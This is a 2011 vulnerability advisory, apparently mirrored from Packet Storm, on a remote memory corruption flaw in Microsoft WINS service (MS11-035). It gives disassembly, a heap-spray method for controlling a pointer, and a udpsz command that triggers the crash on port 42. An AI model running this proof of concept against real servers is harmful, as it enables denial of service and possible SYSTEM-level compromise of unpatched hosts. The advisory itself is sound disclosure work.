Lucene search
K

Microsoft WINS Service 5.2.3790.4520 Memory Corruption

🗓️ 13 Sep 2011 00:00:00Reported by Luigi AuriemmaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Microsoft WINS Service 5.2.3790.4520 Memory Corruption, remote exploitatio

Code
`#######################################################################  
  
Luigi Auriemma  
  
Application: Microsoft WINS service  
http://www.microsoft.com  
Versions: <= 5.2.3790.4520  
Platforms: Windows  
Bug: arbitrary memory corruption  
Exploitation: remote, versus server  
Date: found 21 Oct 2010  
patched 10 May 2011  
advisory 13 Sep 2011  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
References: http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx  
http://www.zerodayinitiative.com/advisories/ZDI-11-167/  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bug  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
WINS stands for "Windows Internet Name Service" and is a classical  
service running on port 42 usually active in intranet environments for  
resolving the NetBIOS names.  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
  
Notes: the reported dumps refer to WINS 5.2.3790.4520 on Windows 2003  
Server.  
  
The problem is located in the function at address 0101488A used to  
perform the sending of a reply packet back to the client where it's  
raised an exception if send() fails, for example because the client  
interrupted the connection before the receiving of the data.  
  
In this function the size of the data to send (0x2c) is passed to  
ntohl() and stored on the stack buffer where is located the beginning  
of the packet to send, but when the exception is raised then the code  
flow continues from 01013e86 and after a CALL EAX in msvcrt.dll arrives  
on 01013e8a where EDI takes the value at [EBP-4C] which is just  
0x2c000000 (yes, it's 0x2c in network endian).  
  
I have "tried" to resume the code flow here:  
  
01013E72 . 6A 2C PUSH 2C ; /Arg3 = 0000002C  
01013E74 . 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |  
01013E77 . 50 PUSH EAX ; |Arg2  
01013E78 . FF76 30 PUSH DWORD PTR DS:[ESI+30] ; |Arg1  
> 01013E7B . E8 0A0A0000 CALL 0101488A ; \wins.0101488A (send packet)  
01013E80 . 834D FC FF OR DWORD PTR SS:[EBP-4],FFFFFFFF  
01013E84 . EB 0E JMP SHORT 01013E94  
01013E86 . 33C0 XOR EAX,EAX ; arrives here after RaiseException  
01013E88 . 40 INC EAX  
01013E89 . C3 RETN  
> 01013E8A . 8B65 E8 MOV ESP,DWORD PTR SS:[EBP-18] ; after "CALL EAX" in msvcrt the code flow arrives here  
01013E8D . 834D FC FF OR DWORD PTR SS:[EBP-4],FFFFFFFF  
01013E91 . 8B7D B4 MOV EDI,DWORD PTR SS:[EBP-4C]  
01013E94 . 57 PUSH EDI ; /Arg1 (0x2c000000)  
01013E95 . E8 240D0000 CALL 01014BBE ; \wins.01014BBE  
01013E9A . EB 1A JMP SHORT 01013EB6  
...  
0101488A /$ 8BFF MOV EDI,EDI  
0101488C |. 55 PUSH EBP  
0101488D |. 8BEC MOV EBP,ESP  
0101488F |. 56 PUSH ESI  
01014890 |. 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]  
01014893 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; /0x2c  
01014896 |. 83C6 FC ADD ESI,-4 ; |  
01014899 |. 8975 0C MOV DWORD PTR SS:[EBP+C],ESI ; |  
0101489C |. FF15 4C120001 CALL DWORD PTR DS:[<&WS2_32.#8>] ; \ntohl  
010148A2 |. 8345 10 04 ADD DWORD PTR SS:[EBP+10],4  
010148A6 |. 8906 MOV DWORD PTR DS:[ESI],EAX ; stores 0x2c000000  
010148A8 |. 0F84 AA000000 JE 01014958  
010148AE |. 53 PUSH EBX  
010148AF |. 57 PUSH EDI ; stores the real value to pass to LeaveCriticalSection  
010148B0 |. 33F6 XOR ESI,ESI  
010148B2 |. BF F0210001 MOV EDI,010021F0 ; "d:\nt\net\wins\server\com\comm.c"  
010148B7 |> BB FFFF0000 /MOV EBX,0FFFF  
010148BC |. 395D 10 |CMP DWORD PTR SS:[EBP+10],EBX  
010148BF |. 77 03 |JA SHORT 010148C4  
010148C1 |. 8B5D 10 |MOV EBX,DWORD PTR SS:[EBP+10]  
010148C4 |> 56 |PUSH ESI ; /Flags  
010148C5 |. 53 |PUSH EBX ; |DataSize  
010148C6 |. FF75 0C |PUSH DWORD PTR SS:[EBP+C] ; |Data  
010148C9 |. FF75 08 |PUSH DWORD PTR SS:[EBP+8] ; |Socket  
010148CC |. FF15 3C120001 |CALL DWORD PTR DS:[<&WS2_32.#19>] ; \send  
010148D2 |. 83F8 FF |CMP EAX,-1  
010148D5 |. 75 56 |JNZ SHORT 0101492D  
010148D7 |. FF15 54120001 |CALL DWORD PTR DS:[<&WS2_32.#111>] ; [WSAGetLastError  
010148DD |. 3D 49270000 |CMP EAX,2749  
010148E2 |. 74 39 |JE SHORT 0101491D  
010148E4 |. 3D 46270000 |CMP EAX,2746  
010148E9 |. 74 32 |JE SHORT 0101491D  
010148EB |. 3D 45270000 |CMP EAX,2745  
010148F0 |. 74 2B |JE SHORT 0101491D  
010148F2 |. 3D 75270000 |CMP EAX,2775  
010148F7 |. 74 24 |JE SHORT 0101491D  
010148F9 |. 56 |PUSH ESI  
010148FA |. 68 2F0B0000 |PUSH 0B2F  
010148FF |. 57 |PUSH EDI  
01014900 |. 68 731001C0 |PUSH C0011073  
01014905 |> 6A 01 |PUSH 1  
01014907 |. 50 |PUSH EAX  
01014908 |. E8 34790000 |CALL 0101C241  
0101490D |> 56 |PUSH ESI ; /pArguments  
0101490E |. 56 |PUSH ESI ; |nArguments  
0101490F |. 56 |PUSH ESI ; |ExceptionFlags  
01014910 |. 68 080000E0 |PUSH E0000008 ; |ExceptionCode = E0000008  
> 01014915 |. FF15 DC100001 |CALL DWORD PTR DS:[<&KERNEL32.Rais>; \RaiseException  
0101491B |. EB 30 |JMP SHORT 0101494D  
0101491D |> 3935 34740201 |CMP DWORD PTR DS:[1027434],ESI  
01014923 |.^ 76 E8 |JBE SHORT 0101490D ; jumps  
...  
01014BBE /$ 8BFF MOV EDI,EDI  
01014BC0 |. 55 PUSH EBP  
01014BC1 |. 8BEC MOV EBP,ESP  
01014BC3 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]  
01014BC6 |. 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4] ; so EAX is 0x2c000000  
01014BC9 |. 83C0 0C ADD EAX,0C ; add 0x0c to our value  
01014BCC |. 50 PUSH EAX ; /pCriticalSection  
01014BCD |. FF15 A0100001 CALL KERNEL32.LeaveCriticalSection ; \LeaveCriticalSection  
01014BD3 |. 33C0 XOR EAX,EAX  
01014BD5 |. 5D POP EBP  
01014BD6 \. C2 0400 RETN 4  
...  
LeaveCriticalSection:  
7C81A3AB > 8BFF MOV EDI,EDI  
7C81A3AD 55 PUSH EBP  
7C81A3AE 8BEC MOV EBP,ESP  
7C81A3B0 57 PUSH EDI  
7C81A3B1 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]  
7C81A3B4 FF4F 08 DEC DWORD PTR DS:[EDI+8] ; exploitation happens here: EDI is controlled (pCriticalSection)  
7C81A3B7 75 21 JNZ SHORT 7C81A3DA  
7C81A3B9 53 PUSH EBX  
7C81A3BA 56 PUSH ESI  
7C81A3BB C747 0C 0000000>MOV DWORD PTR DS:[EDI+C],0  
7C81A3C2 8D77 04 LEA ESI,DWORD PTR DS:[EDI+4]  
7C81A3C5 BB 01000000 MOV EBX,1  
7C81A3CA F0:0FC11E LOCK XADD DWORD PTR DS:[ESI],EBX  
7C81A3CE 43 INC EBX  
7C81A3CF 83FB FF CMP EBX,-1  
7C81A3D2 0F85 0B2F0200 JNZ 7C83D2E3  
7C81A3D8 5E POP ESI  
7C81A3D9 5B POP EBX  
7C81A3DA 33C0 XOR EAX,EAX  
7C81A3DC 5F POP EDI  
7C81A3DD 5D POP EBP  
7C81A3DE C2 0400 RETN 4  
...  
  
So EDI (the one of 01013E94) has ever the value 0x2c000000 because it's  
ntohl(0x2c) and normally there would be an exception at address  
01014BC6 because that zone of the memory is not allocated.  
  
Instead it's possible to force the allocation of that zone of memory  
and filling it with the own stuff simply by sending a big amount of  
data in the same connection (or maybe also in time separated  
connections but I have not tested).  
Absolutely not a problem considering the intranet nature of the  
service.  
  
To be exact I have noticed that the starting of allocation of memory  
happens after the sending of 2 gigabytes of data, when the situation  
that was stable till that moment changes suddenly and the service  
starts to allocate memory till occupying the about 700 megabytes needed  
to reach 0x2c000000.  
  
As already said it can be used just from the same connection, indeed  
the service accepts multiple requests since it simply cares that the  
max size of the data block specified in the first 32bit field is minor  
or equal than 3115000 so if the content is invalid the connection  
remains open and will be never closed or interrupted.  
  
When the zone of the memory that includes 0x2c000000 is allocated  
LeaveCriticalSection can be used to decrease a 32bit arbitray zone of  
the memory (or in some conditions increasing it and placing 0x00000000)  
giving to an attacker the opportunity of modifying the subsequent code  
flow and executing code under SYSTEM privileges.  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
http://aluigi.org/testz/udpsz.zip  
  
udpsz -C 00140004 -b a -l 0 -T 0xffffffff SERVER 42 0x140008  
  
when the dots displayed by the tool no longer advance press CTRL-C and  
the "DEC DWORD PTR DS:[EDI+8]" exception will be triggered immediately  
with EDI equal to 0x61616161.  
  
Note that the time needed to exploit the vulnerability depends mainly  
by the memory on the machine, it can be one minute if there is one  
gigabyte of RAM but can take also 10 minutes in case of 2 gigabytes so  
take it in mind during your tests: launch the command and wait  
(patiently) the stopping of the dots in udpsz.  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx  
  
  
#######################################################################  
  
  
---   
Luigi Auriemma  
http://aluigi.org  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation